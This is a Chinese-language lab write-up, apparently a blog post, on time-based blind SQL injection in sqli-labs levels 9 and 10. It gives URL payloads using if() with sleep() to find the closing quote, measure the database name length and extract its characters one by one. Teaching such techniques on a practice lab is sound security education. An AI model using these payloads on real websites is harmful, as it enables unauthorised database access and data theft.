延时盲注——sqli-labs第9、10关

时间:2022-07-22
本文章向大家介绍延时盲注——sqli-labs第9、10关,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

目录

使用场景

1.对时间函数敏感 2.前端不显示后端报错和查询结果传来的结果,同时也不根据后端传来的结果显示不同的内容。 一些资料说是: 2.后端报错和查询结果不返回到前端,对前端其他任何输入都不返回给前端不同的内容

至于是后端不返回,还是返回了前端不显示,有点搞不懂,希望有大佬看到能帮我扫盲

基本函数:

  1. if(var1,var2,var3) var1:条件 var2:条件为真时返回的值 var3:条件为假时返回的值
  2. sleep(var) 暂停执行var秒,可以为小数

第9关

确认场景

首先确认场景,确定可以适用延时盲注

判断闭合符

  • 构造一个明显会延时的if()语句拼接到条件语句(where)后
  • 再依次尝试添加待确定的闭合符
  • 如果延时,则尝试的闭合符正确 http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(3>2,sleep(3),1)--+

不加引号、加上双引号。都立马刷新,加上单引号后,延迟了3秒才刷新出来。说明闭合符是'单引号

3>2换成要查找的数据,这就是前面几关的布尔盲注了。

找到数据库名的长度

http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(length(database())>7,sleep(3),1)--+

有8位。

将数据库名一个字母一个字母爆出来

http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>114,sleep(3),1)--+
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>115,sleep(3),1)--+

大于114是正确的,大于115是错误的,说明是115。即为s

…………

后面的就和前几关的布尔盲注差不多了

第10关

同第9关,使用延时盲注